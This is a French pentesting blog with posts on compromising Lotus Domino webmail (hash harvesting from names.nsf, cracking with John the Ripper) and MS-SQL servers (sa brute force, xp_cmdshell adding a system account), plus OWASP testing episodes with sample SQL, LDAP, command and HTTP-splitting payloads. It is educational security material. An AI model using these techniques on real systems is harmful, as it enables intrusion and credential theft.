2009-04-20T15:20:00.000-07:00

Nous continuons sur les posts techniques en nous attaquant cette fois à un autre type de serveur : le serveur de messagerie. Et plus exactement, l'attaque portera sur un serveur LOTUS. Nous verrons que l'attaquant peut encore une fois frapper très fort par cette voie.

1 - Briefing: Lotus

Le post est à but purement éducatif et ne devra en aucun cas être testé sur un réseau qui ne vous appartient pas, en tout cas, sans autorisation.

Il s'agit ici de donner une démonstration tiré d'un article paru dans le HS n°1 de MISC. Se référer à celui-ci pour plus d'information.

Nous agissons ici de l'extérieur puisque nous nous focalisons sur la partie webmail de la messagerie.

2 - Repérage de la cible

Trouver la messagerie de la compagnie auditée n'est pas difficile. Il y a la méthode que j'appelerai "intuitive" qui consiste à deviner le nom. Par exemple : mail.compagny.com, webmail.compagny.com, mx.compagny.com, etc...
Et il y a la méthode plus intelligente ;) Il suffit d'exécuter une requête DNS sur le champ MX :

dig MX compagny.com

Notre cible utilise du Lotus ? Alors à l'attaque !

3 - Des informations bien utiles ...

3.1/ Récupération d'informations intéressantes

Nous allons regarder dans une premier temps si nous avons accès aux fiches des utilisateurs. Pour cela, essayer d'ouvrir le fichier names.nsf. Par exemple, à l'adresse : http://mail.compagny.com/names.nsf. Vous devriez avoir les listes des utilisateurs ! Cliquer sur ceux qui ont un icône "terre" et qui ont donc un accès webmail. Vous devriez trouver facilement ... le login ! ça commence plutôt pas mal, non ?

3.2/ Récupération des comptes adminitrateur

Obtenir le compte d'un adminitrateur nous permettrait une compromission encore plus importante dans le sens où cela nous permettrait d'obtenir des accès sur le système hôte. Comment connaître l'identité de l'administrateur de la messagerie ? Deux manière au moins :

Regarder les mailing-lists. L'une d'elles pourraient s'appeler mail_adminitrator ou quelque chose du genre. Sinon, toutes les listes d'administration pourrait être intéressante pour connaître les utilisateurs-clé ;)
Regarder la configuration du serveur Lotus si celle-ci est accessible en lecture au moins. Le ou les nom(s) des adminitrateurs de la messagerie devraient vous être fournis sur un plateau ...

3.3/ Récupération des hashes

Et c'est à partir de maintenant que ça fait peur ! Mal configuré - comme souvent - il est possible de connaitre le hash du mot de passe des utilisateurs depuis Internet. ça ne peut pas être si simple me direz-vous ? En effet, c'est encore plus simple que ce que vous pouvez penser !

Sélectionner la fiche de votre utilisateur cible ;
Faire un clic droit sur sa fiche et choisir "Ce cadre" puis "Code source de ce cadre" (éventuellement en anglais) ;
Dans le code source, faire une recherche sur la chaîne HTTPPassword ;
Récupérer la valeur dans le champ "value" sans les guillemets mais avec les parenthèses ;
C'est tout !

Il existe deux formats de hash que nous pouvons récupérer (éventuellement sur le même serveur) :

le format plus ancien :

le format plus récent basé sur du MD5 + sel :

4 - Juste une histoire de mot de passe

Nous avons donc obtenu un hash et en bon agent que vous êtes, ce n'est certainement pas la première fois que vous avez un hash à déchiffrer. Ici, notre arme de choix est le célèbre casseur de mot de passe, nommé John ! John the Ripper [1 ] !
Néanmoins, nous aurons besoin d'utiliser une version avec les patches qui vont bien. Perso, j'utilise john-banquise [2] qui contient les patches pour Domino dont nous avons besoin.
Ensuite, nous avons besoin de lancer John avec le format approprié :

pour les hashes de format ancien :

john --wordlist=dictionary.txt --rules --format=lotus5 liste_hashes.txt

pour les hashes de format récent :

john --wordlist=dictionary.txt --rules --format=DOMINOSEC liste_hashes.txt

Le fichier liste_hashes.txt doit être de la forme suivante :

prenom1Nom1:(hash1)
prenom2Nom2:(hash2)
prenom3Nom3:(hash3)
...

5 - Conclusion

Nous avons vu comment avoir accès à la messagerie d'un utilisateur sans difficulté particulière (sauf si le mot de passe était complexe). Cependant, nous n'avons pas tout vu.
En externe, il faut savoir qu'une fois le compte adminitrateur de la messagerie en notre possession, il est possible d'exécuter des commandes arbitraires sur le système hôte !
En interne, d'autres attaques, différentes, peuvent être jouées. Notamment, elles tournent autour du fichier id.

Et n'oubliez pas, have fun! :)

[PENTESTING] [Database] MS-SQL Audit

2009-04-19T15:27:00.000-07:00

Après notre aventure théorique sur l'OWASP, je reviens sur le blog pour un post technique. Et pour ce "comeback", je vous propose dans un premier temps de nous attaquer à un élément du S.I très sensible : les bases de données ! En effet, c'est ici que nous trouverons souvent les données les plus confidentielles ... Plus précisément, nous allons prendre pour exemple les bases de type MS-SQL.

1 - Mission: MS-SQL

Le post présente une technique qui n'est pas supposée être la meilleure, ni être exhaustive. Le but ici est de voir une façon de faire. Au risque de me répéter, mais c'est très important, ce qui est présenté ci-dessous ne peut être réalisé qu'au sein de son propre réseau ou dans un cadre légal (avec autorisation de la compagnie auditée).

Avant d'entrer dans le sujet, il faut savoir que ce type de tests est plus approprié aux tests d'intrusion internes. Si jamais une telle base était accessible depuis Internet, je vous laisse imaginer la criticité du problème !

Pour terminer, le client OSQL, utilisé dans la suite, est fourni gratuitement sur le site de Microsoft dans le package MSDE. La connexion vers la serveur se fait ainsi :

osql.exe /S ip_serveur|nom_serveur /U nom_utilisateur /P mot_de_passe

2 - Repérage de notre cible

2.1/ Trouver les serveurs MS-SQL

Par défaut, les bases MS-SQL utilisent les ports :

TCP/1433
UDP/1434

NMAP peut donc nous permettre de trouver les serveurs MS-SQL présents sur le réseau audité (par exemple, sur le réseau 172.16.XXX.XXX) :

nmap -v -sV -sS -p 1433 -oN NMAP_MS-SQL.txt 172.16.0.0/16

Ou mieux :

nmap -sV -sS -p 1433 172.16.0.0/16 | grep "open" -B 3 > nmap_mssql_list.txt

Cette méthode simple est tout de même limitée car si l'administrateur n'utilise pas le port par défaut, nous passons à côté de notre cible !

2.2/ Prise d'information sur les serveurs MS-SQL

Il existe plusieurs outils pour obtenir des informations sur les serveurs MS-SQL audités. Nous montrons ici l'exemple de SQLRecon :

Le but est de connaître les numéros de version notamment pour éventuellement jouer un exploit si le serveur de base de données n'est pas maintenu à jour.

3 - Compromission de la cible

3.1/ Juste une question de compte ...

Une base de données MS-SQL a un compte administrateur appelé par défaut sa. Ce compte doit donc être protégé spécifiquement. Cependant, il arrive qu'il soit configuré avec le mot de passe ... vide ou sa ! Les credentials par défaut peuvent donc très simplement fournir un accès total à la base de données.

Si les comptes par défaut ne donnent pas de résultats positifs, nous pouvons tenter une attaque par dictionnaire. Pour cela, il existe l'outil SQLPing3cl :

Nous avons auparavant :

rempli le fichier user.txt avec les noms de compte possible (ex : sa) ;
rempli le fichier pass.txt avec la liste de mots de passe (sinon, il existe des tonnes de fichiers préconçus sur le Net contenant les mots du dictionnaire ;).

Un de nos serveurs a le mot de passe sa (extrait de l'output) ...

172.XXX.XXX.XXX,1433,NOM_Serveur,MSSQLSERVER,8.00.194,8.0.766,8.00.760,,No,(UDP)ServerName;NOM_Serveur;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;\\Nom_Serveur\pipe\sql\query;; (SA)Server present but blank SA login failed (BruteForce)**** Brute force attempt successful! User:sa Pass:sa ****,UDP TCP SA BruteForce

3.2/ Regarder les vulnérabilités !

Si malgré tous vos efforts vous n'obtenez pas le mot de passe du compte sa, il faut se retourner vers un site de veille sécurité pour trouver une faille exploitable selon la version trouvée (cf. point 2.2/).

4 - Système touché !

Il faut savoir qu'une base de données tourne par défaut avec les droits Local System. Alors imaginez que la base de données est compromise et que vous puissiez exécuter des commandes arbitraires ... ce serait avec les droits NT AUTHORITY/SYSTEM !

Or, par défaut, MS-SQL bénéficie de ce qu'on appelle des procédures stockées. Ces dernières permettent d'augmenter significativement la puissance d'une base de données. En effet, cela permet de nombreuses actions prédéfinies très utiles pour l'administrateur ... ou pour l'attaquant. La procédure qui nous intéresse ici est xp_cmdshell.

4.1/ Activer une procédure stockée

Il est possible que la procédure que nous souhaitons - xp_cmdshell - ne soit pas activée. Pour le savoir, tenter une connexion vers la base et essayer de lancer la procédure stockée de la manière suivante :

> xp_cmdshell 'ipconfig'
> go

Si vous n'avez pas d'erreur, comme sur l'image suivante, passez tout de suite à l'étape 4.2/

Sinon, suivez les instructions ci-dessous permettent l'activation de la procédure :

4.2/ Lancement de commandes

Nous allons poursuivre notre attaque en créant un compte sur le système hôte :

> xp_cmdshell 'net user jer001 M1ssion_pass /add'
> go

Nous vérifions avec les commandes suivantes :

> xp_cmdshell 'net user'
> go

Notre compte est ajouté !

5 - Aller plus loin

Arrivé à ce stade, nous avons été suffisamment loin dans la compromission du serveur. Cependant, il est nécessaire d'être exhaustif dans le cadre d'un pentest. Un serveur qui a pu être compromis de la sorte n'a pas bénéficié du hardening adéquat et par conséquent, souffre certainement de nombreuses vulnérabilités. Cela peut se vérifier par des tests complémentaires. Notamment, nous pouvons nous aider du script SQL SQLVulscan. Voici une liste non exhaustive de vulnérabilités qu'il permet de trouver :

Privilège du compte de service ;
Méthode d'authentification ;
Liste des procédure stockées ;
Présence des bases de données par défaut ;
Présence des accès "invité" ;
Présence de comptes sans mot de passe ;
etc.

Pour le lancer, utiliser la commande suivante :

c:\>osql.exe /S 192.168.0.12 /U sa /P BDD_PASS /i SQLvulscan.sql

Et comme toujours, have fun!

[STANDARD] OWASP - Episode 10

2009-03-22T02:15:00.000-07:00

Nous y sommes ! La dernière étape avec la fin de notre aventure sur la méthodologie OWASP. Après avoir vu un grand nombre de points à contrôler - de la collecte d'information à l'exploitation d'injections - il ne nous reste plus qu'à voir les attaques possibles sur AJAX. Je finirai par un résumé très rapide sur la vision de la norme pour la partie "post-pentest".

1 - Avant-propos

Dixième épisode ! Hé oui, nous y voilà ! Il synthétise la section 4.11 de la norme. J'irai très vite car je ne suis pas un expert AJAX ;) Mais il me fallait être exhaustif en abordant tous les chapitres de la méthodo. Pour finir, je décrirai brièvement la partie 5 de l'OWASP à propos du travail d'un pentester une fois les tests réalisés.

2 - Phase de tests actifs 9 - tests sur les applications AJAX

AJ-001 - Les vulnérabilités d'AJAX

Notre démarche consiste dans un premier temps à explorer les vulnérabilités potentielles sur les applications AJAX ou du moins, de contrôler qu'il n'y a pas de faille exploitable par un attaquant. Pour s'en assurer, nous devons couvrir un champ assez large de recherche car les applis AJAX sont concernées par de nombreux vecteurs d'attaque :

Les attaques de type injection (cf. épisode 7) : ex ; SQL / XSS /CSRF ;
Les dénis de services (cf. épisode 8) ;
Attaque côté client (navigateur). Surveiller les nouvelles failles ! (ex : www.securityfocus.com).

AJ-002 - Tests sur les applications AJAX

Il n'y a pas de méthode précise ici mais nous donnerons quelques pistes. La première est de travailler avec un proxy local (ex : paros). Comme pour tout type d'application WEB, ce genre d'outil nous permet souvent de trouver "ce qui cloche". Du moins, cela nous permet de mieux comprendre l'application.
La deuxième piste est de trouver les erreurs ou les lacunes dans le code JavaScript. Cette fois, nous pourrons utiliser une extension de Firefox comme Firebug. L'objectif est de trouver les failles dans le code qui nous permettront de réaliser des injections.

3 - Après les tests ...

La réalisation des tests constituent le coeur de la prestation d'un test d'intrusion d'une application WEB. Cependant, le résultat final, c'est le rapport.

3.1 - Étude des faille

Cependant, le résultat final, c'est le rapport. L'OWASP propose six étapes pour étudier une faille :

Étape 1 : Description et identification du risque pour la faille trouvée

Par exemple, atteinte à l'image de la compagnie, pertes financières, etc...

Étape 2 : Estimation de la probabilité

Est-il envisageable qu'une telle attaque se produise ? Si oui, dans quelle mesure ? Par exemple, s'il existe un gain financier à la clé, un attaquant sera plus motivé à attaquer la cible en question.
Deuxième cas : imaginons une attaque distante. Si la compagnie a bien sécurisé les accès extérieurs avec pare-feu correctement configuré et plateforme de protection WEB, l'attaque aura moins de chance de succès.

Étape 3 : Estimation de l'impact sur l'entreprise

Les risques identifiés doivent être évalué. Nous apportons un coefficient différent selon que une ou plusieurs personnes peuvent être touchées par l'exploitation de la faille étudiée. Les impacts financiers consistent-ils en une perte d'une journée de production ou d'une durée plus longue ?

Étape 4 : Estimation de la sévérité du risque.

sévérité risque = probabilité d'exploit (étape 2) * impact (étape 3)

Nous obtenons une criticité de "Faible" à "Critique".

Étape 5 : Recommandations

Il est temps ici d'apporter les solutions pour corriger les failles. Les recommandations devront tenir compte du contexte du client afin qu'elles puissent être réalisées.

Étape 6 : Personnalisation

L'idée est ici d'affiner l'étude en donnant un point de vue personnaliser pour le client : des solutions adaptées au secteur, aux besoins et à l'évolution de l'entreprise.

3.2 - Écriture du rapport

Nous découpons le rapport en trois points :

une partie destinée aux managers (avec une synthèse des tests) ;
une partie technique pour les équipes opérationnelles ;
la réalisation des tests proprement dite en tenant compte du travail effectué en 3.1.

Conclusion / En résumé

Pour conclure sur les dix posts à propos de la méthodologie OWAP, je dirai qu'il s'agit pour moi de la seule norme éprouvée dédiée aux applications WEB. Elle a l'avantage de traiter tous les types de tests les plus communs (ex : injections) et les tests attraits aux nouvelles technologies WEB (ex : application AJAX). Ensuite, elle aborde tous ces sujets d'une manière très technique (partie 4 du document) mais aussi les parties environnantes pour proposer un test d'intrusion complet (contexte des tests, évaluation des résultats, écriture d'un rapport).
Bref, un fil conducteur très intéressant pour qui souhaite mener un test d'intrusion d'application WEB de manière rigoureuse.

[STANDARD] OWASP - Episode 9

2009-03-19T13:43:00.001-07:00

A grand pas, nous arrivons à la fin de notre étude sur la méthodologie OWASP. Dans ce neuvième épisode, nous traitons des Web Services. Mine de rien, c'est fou tout ce qu'ils peuvent nous permettre de faire ! Mais comme toujours, tout dépend de la sécurité de leur implémentation. Alors, prêt à tester ?

1 - Avant-propos

Dans la norme OWASP, il s'agit de la section 4.10. Nommée Web Services Testing - WS, elle aborde les grands axes d'attaques des services en question de leur découverte à leur exploitation en sept points.

2 - Phase de tests actifs 8 - tests sur les Web Services

2.1 - Collecte d'information sur les Web Services

Si nous ne connaissons pas la localisation des Web Services sur le serveur WEB hôte et que celle-ci n'est pas triviale, il nous faudra la trouver. Pour cela, plusieurs moyens s'offrent à nous :

grâce à notre ami Google avec un requête du type :

inurl:wsdl site:nom_cible

grâce à des sites de recensements de Web Services comme seekda.com, wsindex.org ou soapclient.com.

Sinon, nous pouvons tenter de les trouver avec les chemins, nom et extensions bien connus Pour cela, prendre les URLs connues et ajouter (combiner) :

/services/
nom_services
wsdl, uddi, disco, etc. Essayer aussi en les précédant d'un "?"

2.2 - Tests des WSDL

Une fois repérés les WSDLs, nous aurons accès à leur description. Ce qui nous intéresse alors, ce sont :

les noms des opérations (avec éventuellement leurs paramètres) ;
les URLs et/ou adresses IP fournies (adresses externes ou internes ...).

Pour cela, deux outils peuvent nous être utilise : WebScarab (en version complète) et WSDigger.

2.3 - Structure des fichiers XML

La description des WSDL est enregistrée au format XML. Le présent paragraphe s'attache à la bonne constitution de ces fichiers XML. Pour cela, nous allons vérifier les points suivants :

Le fichier est-il correctement formé ? Les balises sont-elles correctement fermées ?
Des éléments permettent-ils d'injecter des données larges ?
Des éléments permettent-ils d'injecter des binaires (éventuellement en base64) ?
Des éléments permettent-ils de lancer des injections malicieuses (voir Épisode 8) ?

2.4 - Attaque XML Content-Level

Suite à l'analyse effectuée dans l'étape précédente, nous allons tenter d'exploiter les vulnérabilités potentielles repérées. Le but est de s'amuser avec les paramètres et de les transformer à notre guise pour tester le comportement du serveur et/ ou de mener des attaques. Cela suppose néanmoins de pouvoir intéragir avec les WSDL.
Nous allons illustrer nos propos avec le screenshot suivant (avec WebScarab) :

Pour commencer, nous choisissons le WSDL que nous voulons tester (WSDL :). Puis, on choisit l'opération qui nous intéresse (1). Ensuite, On change la valeur du paramètre souhaité (2). Nous chargeons l'outil de créer la requête SOAP associée en cliquant simplement sur "Execute" (3). Le résultat est fourni en (4).

2.5 - Requête HTTP GET

Cette fois, nous tentons de modifier les paramètres via l'URL directement. indirectement, notre but est d'agir sur le WSDL. Alors, dans les paramètres, nous modifierons les valeurs fournies dans les requêtes en GET ou mieux, d'exécuter des commandes précédées du séparateur approprié (e.g. & ' ; ou |). Par exemple, la commande pourrait être lancée par la procédure master..xp_cmdshell d'un MSSQL :

' exec master..xp_cmdshell + commande

2.6 - Requête SOAP avec attachement

Un peu plus complexe que l'étape 2.4, il s'agit ici de forger une requête SOAP aussi à destination du WSDL cible à la différence près que nous cherchons à incorporer un attachement dans la requête. L'objectif est - par exemple - d'uploader sur le serveur WEB un programme nous permettant de prendre la main. Comme le suggère la méthodologie, le test peut consister en un test EICAR.

2.7 - Attaque de rejeu

Nous travaillons cette fois en local et après avoir lancé une attaque de type MItM. Alors, notre but est de récupérer les éléments valides d'une session (credentials, cookie, etc ...) pour pouvoir nous approprier les requêtes passées par d'autres utilisateurs en les rejouant. Nous aurons besoin d'outils pour sniffer le trafic (ex : wireshark) + TCPReplay et/ou Webscarab.

[STANDARD] OWASP - Episode 8

2009-03-18T12:33:00.000-07:00

Nous continuons sur notre lancée pour aborder le huitième épisode sur la méthodologie OWASP. Il s'agit ici de traiter des dénis de service. Rarement demandé lors d'un pentest, des effets pourtant ravageurs en cas de succès ...

1 - Avant-propos

Ce chapitre correspond à la section 4.9 de la norme, nommé Denial of Service Testing - DS. Puisque nous parlons de déni de service, les attaques correspondantes ne devront être lancées que si elles sont explicitement demandées. En effet, la compagnie demandeuse est rarement prête à prendre le risque de voir tomber sa prod'. Cependant, les tests peuvent se dérouler sur un environnement de test ou le client peut très bien être intéressé par des tests exhaustifs ou les dénis de services ont largement leur place.

2 - Phase de tests actifs 7 - tests sur les dénis de service

2.1 - DS-001 : Attaque DoS basées sur les "wilcard characters"

Les "wildcard characters" sont les caractères spéciaux qui remplacent plusieurs caractères ou une chaînes. Par exemple, le caractère "*" peut remplacer toutes les chaînes. Le but est de les utiliser pour forcer la base de données cible à chercher le plus longtemps possible pour répondre à notre requête. Voici quelques règles à suivre :

La requête doit demander un élément inexistant ou très rare dans un champ de recherche très large ;
Utiliser de longues et complexes requêtes avec des "wildcard characters" ;
Commencer et terminer la requête par un "%" (pour le LIKE).

L'objet de cette attaque et de rendre la BDD inutilisable ou du moins très ralentie.

2.2 - DS-002 : Bloquer les comptes utilisateur

Généralement, un seuil est imposé pour le nombre d'essais autorisés pour se connecter avec un compte. Cela évite notamment les attaques de type "brute force". Cependant, une fois la totalité des essais épuisée, le compte est bloqué pendant une durée indétermminée. Nous avons deux cas :

Nous connaissons le login des comptes à bloquer. Dans ce cas, tenter au moins 15 essais jusqu'à blocage du compte ;
Nous ne connaissons pas de login. Alors, il nous faut les trouver grâce :

aux messages et pages d'erreur fournis à partir de la page de login (point déjà traité) ;
à la page de création de compte en tentant de créer un utilisateur déjà existant ;
à la page permettant de recouvrer son mot de passe (point déjà traité).

2.3 - DS-003 : DoS basés sur des attaques de type "Buffer Overflow"

Nous avons déjà abordé le sujet des "buffer overflow" dans l'épisode précédent. La différence est qu'ici, le but est de simplement rendre inacessible un service. Par exemple, nous pourrons le vérifier si une page ou une fonctionnalité n'est plus disponible suite à notre attaque.

2.4 - DS-004 : DoS sur l'allocation d'objet

Parmi les actions permises pour l'utilisateur, ce dernier peut parfois - directement ou non - créer des instances d'un objet quelconque (propriété, caractéristique, entrée dans un base, etc.). Pour illustration, au niveau du code, la création d'un objet se fera avec un new.

2.5 - DS-005 : Utilisation d'une boucle

Les codeurs utilisent souvent des boucles dans leurs programmes. Si une boucle est localisée ou supposée, l'utilisateur pourra tenter de dépasser les limites d'une boucle (ex : dans le cas d'une boucle for) ou de lancer une boucle infinie (ex : avec une boucle while).

2.6 - DS-006 : Saturation d'un disque

Si la gestion des logs n'est pas sécurisée, il peut arriver que de nombreux logs soient enregistrés. Aussi, il est possible que le disque accueillant les logs n'ait pas un espace suffisant. Alors, le but de l'attaquant sera de générer un maximum de logs pour mettre en d'usage le système de log. Cette attaque se fera généralement à l'aide de scripts automatiques ou de requêtes coûteuses en espace disque.

2.7 - DS-007 : Saturation des ressources

Les ressources créées sur le serveur demandent des ressources diverses (disque, CPU, mémoire vive, et/ou réseau). Si elles ne sont pas fermées ou réallouée correctement, elles s'accumulent et peuvent provoquer une surcharge quelconque. Par exemple, nous pouvons avoir :

des fichiers mal fermés qui sont lockés ;
des ressources accumulées qui demandent une mémoire vive trop importante par rapport aux capacités du serveur ;
des connections toujours actives sur un BDD jusqu'à atteindre le seuil autorisé (ex : 15 connexions simultanées).

2.8 - DS-008 : Saturation d'une session

Ici, nous tentons de stocker un maximum de données dans une session. Aussi, il peut s'agir de créer un maximum de session pour surcharger le serveur. Idéalement, nous combinerons les deux. Les exigences en termes de mémoire sont alors de plus en plus forte pour le serveur qui finira certainement par ne plus avoir les capacités d'assurer une telle demande.

[STANDARD] OWASP - Episode 7

2009-03-12T15:34:00.000-07:00

Septième épisode de notre épopée vers la connaissance de la méthodologie OWASP. Nous n'avons pourtant pas encore couvert tous les sujets, ni même les plus classiques. En effet, s'il y a bien une recette qui marche à presque tous les coups en termes de pentests d'applis WEB, ce sont les injections en tout genre !

1 - Avant-propos

L'épisode 7 traite du contrôle des données fournies en entrée par un utilisateur (Data Validation Testing - DV). Dans le cas d'un attaquant, il tentera d'injecter des caractères spéciaux puis du code malicieux si le contrôle des données n'est pas efficace. Le but n'est pas d'expliquer le fonctionnement de chaque type d'injection (ou alors, je tente la page de blog la plus longue de la toile ;) mais de passer en revue les principales possibilités à la disposition d'un attaquant proposées par la norme en question.

2 - Phase de tests actifs 6 - tests sur les injections

2.1 - DV-001 : XSS non persistant

Il existe deux catégories d'attaque de type XSS (ou Cross Site Scripting) :

les XSS non persistants qui ne sont pas maintenus dans l'application, lancé en "one-shot" (cf. le paragraphe présent) ;
les XSS persistants qui sont maintenus et pourront être rejoués par les victimes à leur insue en consultants un page affectée par exemple sans que l'attaquant n'intervienne de nouveau (cf. paragraphe suivant) ;
Il existe en réalité une troisième catégorie plus particulière, les attaques de type CSRF (vue dans l'épisode 4).

Pour trouver un XSS non persistant, nous abordons la démarche suivante :

Quels sont les entrées possibles ? Où avons-nous une chance de réussir une telle attaque. La réponse a normalement été élucidée dans l'épisode 1 ;
Phase d'analyse : tenter un XSS classique (cf. exemple ci-dessous. Encoder la requête si nécessaire).
Phase d'attaque : injecter le code souhaité (ex : récupération des cookies).

2.2 - DV-002 : XSS persistant

Les XSS persistants sont encore plus appréciés de l'attaquant puisqu'ils peuvent avoir des retombées après coup. Une démarche similaire sera suivie pour injecter de tels codes :

Trouver un moyen d'"enregistrer" votre XSS (formulaire, page de profil, page de configuration, etc.) ;
Analyser le code HTML de la page pour y trouver le champ vulnérable ;
Tester avec un XSS classique (un autre exemple est fourni ci-dessous).

Injecter le code qui sera exécuter lorsque la page infectée sera consultée manuellement ou automatiquement (ex : par une moulinette). Il est aussi possible d'utiliser des outils d'exploitation (un prochain post ?).

2.3 - DV-003 : DOM Based XSS

En boîte grise, ce test consiste à

trouver dans le code les fonctions potentiellement injectables (ex : document.location, document.url, ...) ;
tenter l'attaque :

ex1 : concaténer le caractère # suivi du code malicieux (javascript) dans l'URL ;
ex2 : essayer le code XSS à la place des valeurs des paramètres.

Je vous invite à voir le document d'Amit KLEIN pour plus d'info sur ce sujet.

2.4 - DV-004 : Cross Site Flashing

Nous testons ici la sécurité des animations flashs :

Dans un premier temps, récupérer le *.swf avec un simple wget ;
Puis, utiliser flare pour le décompiler ;
Trouver les méthodes potentiellement dangereuses (ex : loadVariables(), getURL(), etc.) ;
Injecter le code malicieux (ex : javascript:code_malicieux).

Pour n'en citer qu'un seul, il existe un outil pour auditer ce genre d'animation : SWFIntruder.

2.5 - DV-005 : injections SQL

Là, on s'attaque à un très gros morceaux. La norme prend l'ampleur du sujet en traitant les bases de données les plus connues (MySQL, Oracle, MS SQL, Access, PostgreSQL). Nous n'abordons ici que le principe très (très très) général.

L'attaque réussie la plupart du temps dans le champ d'un formulaire, d'un champ de recherche, d'un champ d'e-commerce ;
Tester les caractères spéciaux et chaînes qui peuvent nous permettre de construire des requêtes SQL : ' ; - AND OR /*
Lancer des injections SQL en devinant les requêtes sous-jacentes (ex : 1' or '1'='1)

2.6 - DV-006 : injections LDAP

Les bases LDAP renferment des informations souvent aussi sensibles que celles que l'on aurait pu récupérées dans les bases de données vulnérables (cf. paragraphe précédent). Concrétement, les attaques vont généralement se réaliser de la manière suivante :
utiliser le caractère * à la place des valeurs légitimes pour afficher tous les résultats ;
essayer les caractères ( | & , * pour provoquer des erreurs et obtenir des informations ;
pour l'authentification, il existe des attaques plus complexes (exemple ci-dessous).

username => *)(uid=*))(|(uid=*
password => nimportequoi

2.7 - DV-007 : injections ORM

L'ORM ajoute une couche intermédiare entre la base de données et l'application WEB. Cependant, il n'est pas exempt de vulnérabilité. Aussi, comme toute solution, elle n'est efficace que si elle est configurée correctement. Sinon, son effet peut être inverse ... Le but de cette phase est donc :

de s'assurer que l'ORM ne comporte pas de faille, ni de défaut de configuration ;
de tester les attaques d'injections seront similaires à celles déjà évoquées en DV-005 ;
en cas de test en mode boîte grise/blanche, d'étudier le code qui pourra certainement révéler de nouvelles failles.

2.8 - DV-008 : injections XML

Le format XML est aujourd'hui très répandu pour transporter les informations entre l'IHM et la base de données. Il est donc fréquent de rencontrer ce format lors d'un pentest. Une nouvelle piste pour l'audit !

Tester les caractères spéciaux acceptés et susceptibles d'intervenir pour une injection : ' " < > &
Connaître la structure de la base de données. Est-il possible de lire la DTD ? Si oui, repérer les noms de champ intéressants ... Utiliser le type Entity avec le caractère & ;
Tester un Tag injection en insérant des tags malicieux dans les champs vulnérables.

En tant qu'exemple, nous prenons un champ qui ajoute un utilisateur dans la BDD. Nous allons en ajouter deux de la manière suivante :

Deuxième exemple : nous ajoutons une propriété supplémentaire à notre utilisateur :

2.9 - DV-009 : injections SSI

SSI pour "Server Side Includes" permet d'obtenir du code dynamique dans ses pages HTML. Quelles sont les pages vulnérables ? En générale, les pages dont l'extension est *.shtml mais pas forcément. Alors comment le savoir ? Encore une fois, tester la réaction du serveur face aux caractères spéciaux : < ! # = / . " - >
Puis ... à l'attaque ! Voici un exemple ci-dessous :

2.10 - DV-010 : injections XPATH

XPATH est le langage qui sert à interpréter des fichiers XML. Les attaques vont être très similaires à une injection SQL :

Comment tester ? Tenter le caractère '. Cela provoque-t-il une erreur intéressante ?
Tester une injection SQL classique (cf. DV-005 pour avoir des exemples plus que classique :)
Adapter l'attaque si on a connaissance du code XML associé.
De la même façon que pour SQL, nous pouvons tenter une attaque en aveugle.

2.11 - DV-011 : injections IMAP/SMTP

Bon, il n'est pas nécessaire de présenter les protocoles IMAP et SMTP mais connaissez-vous les attaques possibles sur ces protocoles en termes d'injection ?

Injection dans l'URL : modifier un paramètre en lui donnant une valeur nulle, aléatoire ou contenant un caractère spécial. Vous pouvez aussi modifier le nom du paramètre ou carrément le modifier. A travers ces différents tests, vous connaîtrez mieux le comportement du serveur de messagerie.
Compléter votre connaissance en générant des erreurs sur les paramètres et valeurs vulnérables d'après le premier point. Le but est de connaître les flux et structures intéressant de la méssagerie.
Tester les injections sans être connecté (ex : utilisez les commandes IMAP) puis en l'étant si vous disposez d'un compte (ex : utilisez les caractères CRLF au bon endroit du mail qui n'est pas constitué que du corps de message ...).

2.12 - DV-012 : injections de code

Dans l'URL, il est parfois possible de lancer des commandes en modifiant les paramètres avec du code malicieux (encodé). En boîte grise, nous chercherons les parties de code ou fonction qui autorise d'entrée du code et qui, surtout, accepte des injections permettant l'exécution de code sur le serveur hôte (ex : un simple ls).

2.13 - DV-013 : OS Commanding

Intéragir avec le serveur hôte est un grand pas dans notre phase d'attaque. Les méthodes les plus classiques consistent à enchaîner des intructions malicieuses à des instructions légitimes. En général, cela revient à ajouter :

& suivi de la commande (Windows) ;
; suivi de la commande (Linux) ;
| suivi de la commande.

2.14 - DV-014 : Buffer Overflow

Bon bah là, pour résumer en moins de cent lignes, je sais pas faire ;) Il faut savoir que la norme prend en considérations les trois types d'attaques suivants : Heap overflow, Stack overflow et String Attack. Pour la démarche, je vais énormément simplifier mais grossièrement :

On injecte une chaîne trop grande ;
On repère l'octet où on pourra injecter une adresse qui redirige vers notre code malicieux ;
Dans le cas d'une string attack, on utilisera les chaînes suivantes : %x, %s et %n pour tenter de corrompre l'application.

2.15 - DV-015 : Incubating Vulnerability

Cette fois, nous tentons de corrompre l'application en y "déposant" un code malicieux que nous pourrons réutiliser pour pousuivre notre attaque (exemple, une backdoor) ou en espérant qu'une gentille victime actionne notre piège.

Il peut s'agir tout simplement d'uploader notre code grâce à un champ sympa (ex :champ pour l'upload de fichier) ;
Aussi, il peut s'agir d'XSS, injection SQL + XSS, ... (ex : dans un forum) ;
Ou encore, en profitant d'un défaut de sécurité ou de configuration. Par exemple, on peut injecter un fichier WAR malicieux (cf le post sur Jonas et JBoss ...).

2.16 - DV-016 : Splitting et Smuggling attack

Une splitting attack consiste à s'arranger pour envoyer deux requêtes HTTP dont une notamment qui ne devrait pas être acceptée normalement par le serveur WEB.

Utiliser le CRLF avec votre requête malicieuse. Pour info, nous pouvons encoder le CRLF en %d%a ...
La requête toute entière doit être encodée ;
Pour compléter l'attaque, nous modifons le champs Last-modified avec une date dans le futur (ce champ est dans l'entête de la requête HTTP).

Plus que des mots, un exemple ci-dessous :

fr%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AConteny-Length%3A%2031%0D%0A%3CHTML%3ESuccessfully%20Hacked!%3C%2Fhtml%3E

[STANDARD] OWASP - Episode 6

2009-02-25T02:41:00.000-08:00

Ce nouvel épisode est la suite de notre étude de la nouvelle version de la norme OWASP. Le but est de pratiquer les tests d'intrusion de manière méthodologique et aussi, de donner de nouvelles idées. Particulièrement, ce sixième épisode s'attache aux spécificités métiers de l'application cible.

1 - Avant-propos

Le sixième épisode que nous traitons ici représente le cinquième chapitre de tests actifs après un premier chapitre de découverte. Dans la norme OWASP v3, il s'agit du chapitre 4.7 relatif aux tests de l'application WEB cible et notamment les fonctions métiers qui peuvent être sujettes à des problèmes de sécurité.

2 - Phase de tests actifs 5 - tests sur les fonctionnalités métiers

2.1 - BL-001 : Tests des fonctionnalités métiers

